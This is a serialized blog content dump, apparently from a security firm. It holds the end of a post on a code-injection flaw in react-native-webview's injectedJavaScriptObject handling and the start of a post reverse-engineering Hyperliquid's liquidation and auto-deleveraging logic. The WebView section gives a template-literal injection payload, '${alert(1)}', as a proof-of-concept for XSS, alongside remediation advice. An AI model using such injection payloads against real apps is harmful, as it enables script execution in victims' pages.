}\n",[168853],{"type":23,"tag":71,"props":168854,"children":168855},{"__ignoreMap":7},[168856,168876,168905,168939,168994,169099,169111,169124],{"type":23,"tag":75,"props":168857,"children":168858},{"class":77,"line":78},[168859,168863,168867,168872],{"type":23,"tag":75,"props":168860,"children":168861},{"style":82},[168862],{"type":29,"value":81955},{"type":23,"tag":75,"props":168864,"children":168865},{"style":104},[168866],{"type":29,"value":62234},{"type":23,"tag":75,"props":168868,"children":168869},{"style":88},[168870],{"type":29,"value":168871}," injectJavascriptObject",{"type":23,"tag":75,"props":168873,"children":168874},{"style":94},[168875],{"type":29,"value":12966},{"type":23,"tag":75,"props":168877,"children":168878},{"class":77,"line":100},[168879,168883,168887,168892,168896,168901],{"type":23,"tag":75,"props":168880,"children":168881},{"style":175},[168882],{"type":29,"value":50476},{"type":23,"tag":75,"props":168884,"children":168885},{"style":94},[168886],{"type":29,"value":183},{"type":23,"tag":75,"props":168888,"children":168889},{"style":88},[168890],{"type":29,"value":168891},"getSettings",{"type":23,"tag":75,"props":168893,"children":168894},{"style":94},[168895],{"type":29,"value":8653},{"type":23,"tag":75,"props":168897,"children":168898},{"style":88},[168899],{"type":29,"value":168900},"getJavaScriptEnabled",{"type":23,"tag":75,"props":168902,"children":168903},{"style":94},[168904],{"type":29,"value":102356},{"type":23,"tag":75,"props":168906,"children":168907},{"class":77,"line":121},[168908,168913,168918,168922,168927,168931,168935],{"type":23,"tag":75,"props":168909,"children":168910},{"style":104},[168911],{"type":29,"value":168912},"        String",{"type":23,"tag":75,"props":168914,"children":168915},{"style":110},[168916],{"type":29,"value":168917}," js",{"type":23,"tag":75,"props":168919,"children":168920},{"style":209},[168921],{"type":29,"value":1193},{"type":23,"tag":75,"props":168923,"children":168924},{"style":1266},[168925],{"type":29,"value":168926}," \"(function(){",{"type":23,"tag":75,"props":168928,"children":168929},{"style":11688},[168930],{"type":29,"value":59567},{"type":23,"tag":75,"props":168932,"children":168933},{"style":1266},[168934],{"type":29,"value":31282},{"type":23,"tag":75,"props":168936,"children":168937},{"style":209},[168938],{"type":29,"value":21036},{"type":23,"tag":75,"props":168940,"children":168941},{"class":77,"line":138},[168942,168947,168951,168956,168960,168965,168969,168973,168977,168982,168986,168990],{"type":23,"tag":75,"props":168943,"children":168944},{"style":1266},[168945],{"type":29,"value":168946},"          \"    window.\"",{"type":23,"tag":75,"props":168948,"children":168949},{"style":209},[168950],{"type":29,"value":20160},{"type":23,"tag":75,"props":168952,"children":168953},{"style":94},[168954],{"type":29,"value":168955}," JAVASCRIPT_INTERFACE ",{"type":23,"tag":75,"props":168957,"children":168958},{"style":209},[168959],{"type":29,"value":7862},{"type":23,"tag":75,"props":168961,"children":168962},{"style":1266},[168963],{"type":29,"value":168964}," \" = window.\"",{"type":23,"tag":75,"props":168966,"children":168967},{"style":209},[168968],{"type":29,"value":20160},{"type":23,"tag":75,"props":168970,"children":168971},{"style":94},[168972],{"type":29,"value":168955},{"type":23,"tag":75,"props":168974,"children":168975},{"style":209},[168976],{"type":29,"value":7862},{"type":23,"tag":75,"props":168978,"children":168979},{"style":1266},[168980],{"type":29,"value":168981}," \" || {};",{"type":23,"tag":75,"props":168983,"children":168984},{"style":11688},[168985],{"type":29,"value":59567},{"type":23,"tag":75,"props":168987,"children":168988},{"style":1266},[168989],{"type":29,"value":31282},{"type":23,"tag":75,"props":168991,"children":168992},{"style":209},[168993],{"type":29,"value":21036},{"type":23,"tag":75,"props":168995,"children":168996},{"class":77,"line":161},[168997,169001,169005,169009,169013,169018,169022,169027,169031,169035,169039,169043,169047,169051,169056,169060,169065,169069,169074,169078,169082,169087,169091,169095],{"type":23,"tag":75,"props":168998,"children":168999},{"style":1266},[169000],{"type":29,"value":168946},{"type":23,"tag":75,"props":169002,"children":169003},{"style":209},[169004],{"type":29,"value":20160},{"type":23,"tag":75,"props":169006,"children":169007},{"style":94},[169008],{"type":29,"value":168955},{"type":23,"tag":75,"props":169010,"children":169011},{"style":209},[169012],{"type":29,"value":7862},{"type":23,"tag":75,"props":169014,"children":169015},{"style":1266},[169016],{"type":29,"value":169017}," \".injectedObjectJson = function () { return \"",{"type":23,"tag":75,"props":169019,"children":169020},{"style":209},[169021],{"type":29,"value":20160},{"type":23,"tag":75,"props":169023,"children":169024},{"style":94},[169025],{"type":29,"value":169026}," (injectedJavaScriptObject ",{"type":23,"tag":75,"props":169028,"children":169029},{"style":209},[169030],{"type":29,"value":2469},{"type":23,"tag":75,"props":169032,"children":169033},{"style":82},[169034],{"type":29,"value":81441},{"type":23,"tag":75,"props":169036,"children":169037},{"style":175},[169038],{"type":29,"value":108376},{"type":23,"tag":75,"props":169040,"children":169041},{"style":82},[169042],{"type":29,"value":81441},{"type":23,"tag":75,"props":169044,"children":169045},{"style":175},[169046],{"type":29,"value":46310},{"type":23,"tag":75,"props":169048,"children":169049},{"style":94},[169050],{"type":29,"value":183},{"type":23,"tag":75,"props":169052,"children":169053},{"style":1266},[169054],{"type":29,"value":169055},"\"`\"",{"type":23,"tag":75,"props":169057,"children":169058},{"style":209},[169059],{"type":29,"value":20160},{"type":23,"tag":75,"props":169061,"children":169062},{"style":94},[169063],{"type":29,"value":169064}," injectedJavaScriptObject ",{"type":23,"tag":75,"props":169066,"children":169067},{"style":209},[169068],{"type":29,"value":7862},{"type":23,"tag":75,"props":169070,"children":169071},{"style":1266},[169072],{"type":29,"value":169073}," \"`\"",{"type":23,"tag":75,"props":169075,"children":169076},{"style":94},[169077],{"type":29,"value":20092},{"type":23,"tag":75,"props":169079,"children":169080},{"style":209},[169081],{"type":29,"value":7862},{"type":23,"tag":75,"props":169083,"children":169084},{"style":1266},[169085],{"type":29,"value":169086}," \"; };",{"type":23,"tag":75,"props":169088,"children":169089},{"style":11688},[169090],{"type":29,"value":59567},{"type":23,"tag":75,"props":169092,"children":169093},{"style":1266},[169094],{"type":29,"value":31282},{"type":23,"tag":75,"props":169096,"children":169097},{"style":209},[169098],{"type":29,"value":21036},{"type":23,"tag":75,"props":169100,"children":169101},{"class":77,"line":196},[169102,169107],{"type":23,"tag":75,"props":169103,"children":169104},{"style":1266},[169105],{"type":29,"value":169106},"          \"})();\"",{"type":23,"tag":75,"props":169108,"children":169109},{"style":94},[169110],{"type":29,"value":245},{"type":23,"tag":75,"props":169112,"children":169113},{"class":77,"line":220},[169114,169119],{"type":23,"tag":75,"props":169115,"children":169116},{"style":88},[169117],{"type":29,"value":169118},"        evaluateJavascriptWithFallback",{"type":23,"tag":75,"props":169120,"children":169121},{"style":94},[169122],{"type":29,"value":169123},"(js);\n",{"type":23,"tag":75,"props":169125,"children":169126},{"class":77,"line":248},[169127],{"type":23,"tag":75,"props":169128,"children":169129},{"style":94},[169130],{"type":29,"value":23908},{"type":23,"tag":32,"props":169132,"children":169133},{},[169134,169136,169142,169144,169149,169151,169157],{"type":29,"value":169135},"It basically injects a javascript code with the ",{"type":23,"tag":71,"props":169137,"children":169139},{"className":169138},[],[169140],{"type":29,"value":169141},"injectedJavascriptObject",{"type":29,"value":169143}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":23,"tag":71,"props":169145,"children":169147},{"className":169146},[],[169148],{"type":29,"value":169141},{"type":29,"value":169150},". If we control a single attribute we can inject a payload like ",{"type":23,"tag":71,"props":169152,"children":169154},{"className":169153},[],[169155],{"type":29,"value":169156},"${alert(1)}",{"type":29,"value":169158}," and achieve XSS in the context of the loaded page.",{"type":23,"tag":32,"props":169160,"children":169161},{},[169162,169164,169171],{"type":29,"value":169163},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":23,"tag":940,"props":169165,"children":169168},{"href":169166,"rel":169167},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[944],[169169],{"type":29,"value":169170},"PR with the report and fix",{"type":29,"value":557},{"type":23,"tag":32,"props":169173,"children":169174},{},[169175],{"type":29,"value":169176},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":23,"tag":32,"props":169178,"children":169179},{},[169180,169182,169188],{"type":29,"value":169181},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":23,"tag":71,"props":169183,"children":169185},{"className":169184},[],[169186],{"type":29,"value":169187},"injectedJavaScriptObject",{"type":29,"value":169189}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":23,"tag":923,"props":169191,"children":169192},{"id":14115},[169193],{"type":29,"value":14118},{"type":23,"tag":32,"props":169195,"children":169196},{},[169197],{"type":29,"value":169198},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":23,"tag":14130,"props":169200,"children":169201},{},[169202],{"type":29,"value":14134},{"title":7,"searchDepth":100,"depth":100,"links":169204},[169205,169209,169212,169213],{"id":166928,"depth":100,"text":166931,"children":169206},[169207,169208],{"id":166939,"depth":121,"text":166942},{"id":167014,"depth":121,"text":167017},{"id":167047,"depth":100,"text":167050,"children":169210},[169211],{"id":167237,"depth":121,"text":167240},{"id":168757,"depth":100,"text":168760},{"id":168832,"depth":100,"text":168835,"children":169214},[169215],{"id":14115,"depth":121,"text":14118},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":169220,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":169221,"description":169222,"date":169223,"author":169224,"image":169225,"isFeatured":15,"onBlogPage":15,"tags":169229,"hideToc":15,"body":169233,"_type":14157,"_id":175872,"_source":14159,"_file":175873,"_stem":175874,"_extension":14162},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":169226,"width":169227,"height":169228},"/posts/hyperliquid-risk-engine/title.png",1456,816,[169230,169231,169232],"hyperliquid","reverse-engineering","defi",{"type":20,"children":169234,"toc":175844},[169235,169241,169249,169254,169259,169264,169276,169281,169294,169313,169319,169331,169344,169349,169380,169385,169398,169403,169594,169600,169605,169617,169623,169628,169634,169647,169681,169686,169691,169703,169709,169729,169737,169750,169756,169767,169773,169785,169790,169796,169816,169824,169830,169864,169868,169904,169909,169914,169919,169932,169969,169974,169988,169994,169999,170025,170033,170038,170066,170071,170076,170414,170419,170424,170444,170471,170476,170489,170501,170506,170511,170517,170522,170527,170541,170546,170552,170580,170617,170628,170632,170637,170642,170648,170814,170849,170854,170860,170866,171055,171068,171073,171079,171100,171105,171111,171116,171121,171133,171138,171143,171149,171154,171159,171165,171171,171184,171217,171222,173798,174066,174071,175401,175406,175411,175423,175514,175526,175531,175537,175542,175550,175555,175563,175569,175603,175614,175622,175628,175634,175639,175647,175652,175657,175665,175677,175683,175688,175694,175705,175710,175716,175721,175726,175732,175737,175740,175745,175750,175756,175761,175773,175778,175783],{"type":23,"tag":24,"props":169236,"children":169238},{"id":169237},"perpetuals",[169239],{"type":29,"value":169240},"Perpetuals",{"type":23,"tag":1829,"props":169242,"children":169243},{},[169244],{"type":23,"tag":32,"props":169245,"children":169246},{},[169247],{"type":29,"value":169248},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":23,"tag":32,"props":169250,"children":169251},{},[169252],{"type":29,"value":169253},"What does that even have to do with reverse engineering?",{"type":23,"tag":24,"props":169255,"children":169256},{"id":169230},[169257],{"type":29,"value":169258},"Hyperliquid",{"type":23,"tag":32,"props":169260,"children":169261},{},[169262],{"type":29,"value":169263},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":23,"tag":32,"props":169265,"children":169266},{},[169267,169269,169274],{"type":29,"value":169268},"The node is tasked with a ",{"type":23,"tag":9690,"props":169270,"children":169271},{},[169272],{"type":29,"value":169273},"very hard problem",{"type":29,"value":169275},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":23,"tag":32,"props":169277,"children":169278},{},[169279],{"type":29,"value":169280},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":23,"tag":32,"props":169282,"children":169283},{},[169284,169286,169292],{"type":29,"value":169285},"Beyond that, the ",{"type":23,"tag":71,"props":169287,"children":169289},{"className":169288},[],[169290],{"type":29,"value":169291},"hl-node",{"type":29,"value":169293}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":23,"tag":32,"props":169295,"children":169296},{},[169297,169299,169304,169306,169311],{"type":29,"value":169298},"Armed with some curiosity, a good amount of ",{"type":23,"tag":9690,"props":169300,"children":169301},{},[169302],{"type":29,"value":169303},"inference",{"type":29,"value":169305},", and the right tooling, we'll take a deep dive using an ",{"type":23,"tag":9690,"props":169307,"children":169308},{},[169309],{"type":29,"value":169310},"interactive interface",{"type":29,"value":169312},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":23,"tag":24,"props":169314,"children":169316},{"id":169315},"the-million-dollar-question",[169317],{"type":29,"value":169318},"The Million Dollar Question",{"type":23,"tag":32,"props":169320,"children":169321},{},[169322,169324,169329],{"type":29,"value":169323},"Let's say a terrible trader opens a ",{"type":23,"tag":9690,"props":169325,"children":169326},{},[169327],{"type":29,"value":169328},"50x",{"type":29,"value":169330}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":23,"tag":32,"props":169332,"children":169333},{},[169334,169336,169342],{"type":29,"value":169335},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":23,"tag":71,"props":169337,"children":169339},{"className":169338},[],[169340],{"type":29,"value":169341},"compute_margin_requirement_by_mode",{"type":29,"value":169343}," function.",{"type":23,"tag":32,"props":169345,"children":169346},{},[169347],{"type":29,"value":169348},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":23,"tag":169350,"props":169351,"children":169352},"tip",{},[169353],{"type":23,"tag":32,"props":169354,"children":169355},{},[169356,169358,169363,169365,169372,169374,169379],{"type":29,"value":169357},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":23,"tag":9690,"props":169359,"children":169360},{},[169361],{"type":29,"value":169362},"click through",{"type":29,"value":169364}," each action performed by ",{"type":23,"tag":940,"props":169366,"children":169369},{"href":169367,"rel":169368},"https://github.com/renato-osec/patina-research",[944],[169370],{"type":29,"value":169371},"our Rust reverse engineering agent",{"type":29,"value":169373},". Return to the regular view by clicking ",{"type":23,"tag":71,"props":169375,"children":169377},{"className":169376},[],[169378],{"type":29,"value":17255},{"type":29,"value":557},{"type":23,"tag":169381,"props":169382,"children":169384},"bndb-viewer-embed",{"addr":169383,"line-start":7867,"line-end":144889},"0x555556bb4d20",[],{"type":23,"tag":32,"props":169386,"children":169387},{},[169388,169390,169396],{"type":29,"value":169389},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":23,"tag":71,"props":169391,"children":169393},{"className":169392},[],[169394],{"type":29,"value":169395},"OptionUnitQty",{"type":29,"value":169397},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":23,"tag":32,"props":169399,"children":169400},{},[169401],{"type":29,"value":169402},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":23,"tag":64,"props":169404,"children":169405},{},[169406],{"type":23,"tag":71,"props":169407,"children":169410},{"className":169408},[15256,169409],"math-display",[169411],{"type":23,"tag":75,"props":169412,"children":169415},{"className":169413},[169414],"katex-display",[169416],{"type":23,"tag":75,"props":169417,"children":169419},{"className":169418},[15262],[169420],{"type":23,"tag":75,"props":169421,"children":169423},{"className":169422,"ariaHidden":15268},[15267],[169424,169455],{"type":23,"tag":75,"props":169425,"children":169427},{"className":169426},[15273],[169428,169432,169442,169446,169451],{"type":23,"tag":75,"props":169429,"children":169431},{"className":169430,"style":104795},[15278],[],{"type":23,"tag":75,"props":169433,"children":169435},{"className":169434},[15284,29],[169436],{"type":23,"tag":75,"props":169437,"children":169439},{"className":169438},[15284],[169440],{"type":29,"value":169441},"liq_equity",{"type":23,"tag":75,"props":169443,"children":169445},{"className":169444,"style":15461},[15363],[],{"type":23,"tag":75,"props":169447,"children":169449},{"className":169448},[15466],[169450],{"type":29,"value":212},{"type":23,"tag":75,"props":169452,"children":169454},{"className":169453,"style":15461},[15363],[],{"type":23,"tag":75,"props":169456,"children":169458},{"className":169457},[15273],[169459,169464],{"type":23,"tag":75,"props":169460,"children":169463},{"className":169461,"style":169462},[15278],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":23,"tag":75,"props":169465,"children":169467},{"className":169466},[15284],[169468,169472,169590],{"type":23,"tag":75,"props":169469,"children":169471},{"className":169470},[32932,123900],[],{"type":23,"tag":75,"props":169473,"children":169475},{"className":169474},[123905],[169476],{"type":23,"tag":75,"props":169477,"children":169479},{"className":169478},[15304,32857],[169480,169578],{"type":23,"tag":75,"props":169481,"children":169483},{"className":169482},[15309],[169484,169573],{"type":23,"tag":75,"props":169485,"children":169488},{"className":169486,"style":169487},[15314],"height:1.427em;",[169489,169529,169540],{"type":23,"tag":75,"props":169490,"children":169492},{"style":169491},"top:-2.314em;",[169493,169497],{"type":23,"tag":75,"props":169494,"children":169496},{"className":169495,"style":122553},[15323],[],{"type":23,"tag":75,"props":169498,"children":169500},{"className":169499},[15284],[169501,169506,169510,169515,169519],{"type":23,"tag":75,"props":169502,"children":169504},{"className":169503},[15284],[169505],{"type":29,"value":14409},{"type":23,"tag":75,"props":169507,"children":169509},{"className":169508,"style":15364},[15363],[],{"type":23,"tag":75,"props":169511,"children":169513},{"className":169512},[15369],[169514],{"type":29,"value":121644},{"type":23,"tag":75,"props":169516,"children":169518},{"className":169517,"style":15364},[15363],[],{"type":23,"tag":75,"props":169520,"children":169522},{"className":169521},[15284,29],[169523],{"type":23,"tag":75,"props":169524,"children":169526},{"className":169525},[15284],[169527],{"type":29,"value":169528},"leverage",{"type":23,"tag":75,"props":169530,"children":169531},{"style":123955},[169532,169536],{"type":23,"tag":75,"props":169533,"children":169535},{"className":169534,"style":122553},[15323],[],{"type":23,"tag":75,"props":169537,"children":169539},{"className":169538,"style":123965},[123964],[],{"type":23,"tag":75,"props":169541,"children":169543},{"style":169542},"top:-3.677em;",[169544,169548],{"type":23,"tag":75,"props":169545,"children":169547},{"className":169546,"style":122553},[15323],[],{"type":23,"tag":75,"props":169549,"children":169551},{"className":169550},[15284],[169552,169558,169568],{"type":23,"tag":75,"props":169553,"children":169555},{"className":169554},[15284],[169556],{"type":29,"value":169557},"∣",{"type":23,"tag":75,"props":169559,"children":169561},{"className":169560},[15284,29],[169562],{"type":23,"tag":75,"props":169563,"children":169565},{"className":169564},[15284],[169566],{"type":29,"value":169567},"notional",{"type":23,"tag":75,"props":169569,"children":169571},{"className":169570},[15284],[169572],{"type":29,"value":169557},{"type":23,"tag":75,"props":169574,"children":169576},{"className":169575},[32960],[169577],{"type":29,"value":32963},{"type":23,"tag":75,"props":169579,"children":169581},{"className":169580},[15309],[169582],{"type":23,"tag":75,"props":169583,"children":169586},{"className":169584,"style":169585},[15314],"height:0.8804em;",[169587],{"type":23,"tag":75,"props":169588,"children":169589},{},[],{"type":23,"tag":75,"props":169591,"children":169593},{"className":169592},[32954,123900],[],{"type":23,"tag":24,"props":169595,"children":169597},{"id":169596},"what-if-nobody-wants-to-buy-the-position",[169598],{"type":29,"value":169599},"What If Nobody Wants to Buy the Position?",{"type":23,"tag":32,"props":169601,"children":169602},{},[169603],{"type":29,"value":169604},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":23,"tag":32,"props":169606,"children":169607},{},[169608,169610,169615],{"type":29,"value":169609},"When that happens, the exchange is basically left with a ",{"type":23,"tag":9690,"props":169611,"children":169612},{},[169613],{"type":29,"value":169614},"hot potato",{"type":29,"value":169616}," to get rid of: what should it even do with the debt?",{"type":23,"tag":46567,"props":169618,"children":169620},{"id":169619},"the-risk-engine",[169621],{"type":29,"value":169622},"The Risk Engine",{"type":23,"tag":32,"props":169624,"children":169625},{},[169626],{"type":29,"value":169627},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":23,"tag":24,"props":169629,"children":169631},{"id":169630},"clearing-up-bad-debt",[169632],{"type":29,"value":169633},"Clearing Up Bad Debt",{"type":23,"tag":32,"props":169635,"children":169636},{},[169637,169638,169645],{"type":29,"value":2846},{"type":23,"tag":940,"props":169639,"children":169642},{"href":169640,"rel":169641},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[944],[169643],{"type":29,"value":169644},"Hyperliquid docs",{"type":29,"value":169646}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":23,"tag":32,"props":169648,"children":169649},{},[169650,169652,169663,169665,169671,169673,169679],{"type":29,"value":169651},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":23,"tag":940,"props":169653,"children":169656},{"href":169654,"rel":169655},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[944],[169657],{"type":23,"tag":71,"props":169658,"children":169660},{"className":169659},[],[169661],{"type":29,"value":169662},"Clearinghouse",{"type":29,"value":169664},", a struct containing all liquidation-related info, nested within a bigger ",{"type":23,"tag":71,"props":169666,"children":169668},{"className":169667},[],[169669],{"type":29,"value":169670},"Exchange",{"type":29,"value":169672}," data structure. This is an example of what it might hold when serialized as ",{"type":23,"tag":71,"props":169674,"children":169676},{"className":169675},[],[169677],{"type":29,"value":169678},"MessagePack",{"type":29,"value":169680}," at runtime.",{"type":23,"tag":32,"props":169682,"children":169683},{},[169684],{"type":29,"value":169685},"This data will come in handy both for us and the agent.",{"type":23,"tag":169687,"props":169688,"children":169690},"file-download",{"path":169689},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":23,"tag":32,"props":169692,"children":169693},{},[169694,169696,169701],{"type":29,"value":169695},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":23,"tag":71,"props":169697,"children":169699},{"className":169698},[],[169700],{"type":29,"value":169662},{"type":29,"value":169702},". Some renaming later, we can infer something like this:",{"type":23,"tag":169381,"props":169704,"children":169708},{"source":169705,"target":169706,"direction":169707},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":23,"tag":32,"props":169710,"children":169711},{},[169712,169714,169719,169721,169727],{"type":29,"value":169713},"We have one huge function handling all clearinghouse operations, which we call ",{"type":23,"tag":71,"props":169715,"children":169717},{"className":169716},[],[169718],{"type":29,"value":169706},{"type":29,"value":169720},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":23,"tag":71,"props":169722,"children":169724},{"className":169723},[],[169725],{"type":29,"value":169726},"exchange_end_block",{"type":29,"value":169728},". So, at the end of each block we run some checks.",{"type":23,"tag":169350,"props":169730,"children":169731},{},[169732],{"type":23,"tag":32,"props":169733,"children":169734},{},[169735],{"type":29,"value":169736},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":23,"tag":32,"props":169738,"children":169739},{},[169740,169742,169748],{"type":29,"value":169741},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":23,"tag":71,"props":169743,"children":169745},{"className":169744},[],[169746],{"type":29,"value":169747},"clearinghouse.perform_auto_deleveraging",{"type":29,"value":169749}," flag.",{"type":23,"tag":169381,"props":169751,"children":169755},{"addr":169752,"line-start":169753,"line-end":169754},"0x555556ac3850","3290","3301",[],{"type":23,"tag":32,"props":169757,"children":169758},{},[169759,169761,169766],{"type":29,"value":169760},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":23,"tag":71,"props":169762,"children":169764},{"className":169763},[],[169765],{"type":29,"value":169662},{"type":29,"value":1225},{"type":23,"tag":923,"props":169768,"children":169770},{"id":169769},"threshold-condition",[169771],{"type":29,"value":169772},"Threshold Condition",{"type":23,"tag":32,"props":169774,"children":169775},{},[169776,169778,169783],{"type":29,"value":169777},"The natural connection between liquidations and ADL is ",{"type":23,"tag":9690,"props":169779,"children":169780},{},[169781],{"type":29,"value":169782},"shortfall",{"type":29,"value":169784},": by how much a position, or the entire system (!), is underwater.",{"type":23,"tag":32,"props":169786,"children":169787},{},[169788],{"type":29,"value":169789},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":23,"tag":30116,"props":169791,"children":169793},{"id":169792},"who-is-underwater",[169794],{"type":29,"value":169795},"Who Is Underwater?",{"type":23,"tag":32,"props":169797,"children":169798},{},[169799,169801,169806,169808,169814],{"type":29,"value":169800},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":23,"tag":71,"props":169802,"children":169804},{"className":169803},[],[169805],{"type":29,"value":169706},{"type":29,"value":169807},", starting from all user positions, which are stored in ",{"type":23,"tag":71,"props":169809,"children":169811},{"className":169810},[],[169812],{"type":29,"value":169813},"clearinghouse.user_states",{"type":29,"value":169815},", as we can also see from the serialization.",{"type":23,"tag":169350,"props":169817,"children":169818},{},[169819],{"type":23,"tag":32,"props":169820,"children":169821},{},[169822],{"type":29,"value":169823},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":23,"tag":169381,"props":169825,"children":169829},{"source":169826,"target":169726,"direction":169827,"path":169828},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":23,"tag":32,"props":169831,"children":169832},{},[169833,169834,169839,169841,169847,169849,169855,169857,169863],{"type":29,"value":2846},{"type":23,"tag":71,"props":169835,"children":169837},{"className":169836},[],[169838],{"type":29,"value":169826},{"type":29,"value":169840}," essentially turns that into an ",{"type":23,"tag":71,"props":169842,"children":169844},{"className":169843},[],[169845],{"type":29,"value":169846},"Iter",{"type":29,"value":169848},", then, inside of ",{"type":23,"tag":71,"props":169850,"children":169852},{"className":169851},[],[169853],{"type":29,"value":169854},"build_adl_candidate_set",{"type":29,"value":169856}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":23,"tag":71,"props":169858,"children":169860},{"className":169859},[],[169861],{"type":29,"value":169862},"AdlIterEntry",{"type":29,"value":69509},{"type":23,"tag":169381,"props":169865,"children":169867},{"type-name":169866},"AdlIterContext",[],{"type":23,"tag":32,"props":169869,"children":169870},{},[169871,169873,169879,169881,169887,169889,169895,169897,169902],{"type":29,"value":169872},"Note that in storage, ",{"type":23,"tag":71,"props":169874,"children":169876},{"className":169875},[],[169877],{"type":29,"value":169878},"Isolated",{"type":29,"value":169880}," positions have their own independent ",{"type":23,"tag":71,"props":169882,"children":169884},{"className":169883},[],[169885],{"type":29,"value":169886},"Entry",{"type":29,"value":169888}," in the position iterators, and ",{"type":23,"tag":71,"props":169890,"children":169892},{"className":169891},[],[169893],{"type":29,"value":169894},"Cross",{"type":29,"value":169896}," positions have a single common ",{"type":23,"tag":71,"props":169898,"children":169900},{"className":169899},[],[169901],{"type":29,"value":169886},{"type":29,"value":169903},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":23,"tag":169381,"props":169905,"children":169908},{"addr":169906,"line-start":55445,"line-end":169907},"0x555556266b10","163",[],{"type":23,"tag":32,"props":169910,"children":169911},{},[169912],{"type":29,"value":169913},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":23,"tag":169381,"props":169915,"children":169918},{"addr":169752,"line-start":169916,"line-end":169917},"506","527",[],{"type":23,"tag":32,"props":169920,"children":169921},{},[169922,169924],{"type":29,"value":169923},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":23,"tag":169925,"props":169926,"children":169929},"bndb-xref",{"lines":169927,"addrs":169928},"1-2","0x555556ac3e18-0x555556ac3e18",[169930],{"type":29,"value":169931},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":23,"tag":32,"props":169933,"children":169934},{},[169935,169937,169943,169945,169951,169953,169959,169961,169967],{"type":29,"value":169936},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":23,"tag":71,"props":169938,"children":169940},{"className":169939},[],[169941],{"type":29,"value":169942},"only_isolated",{"type":29,"value":169944}," (or 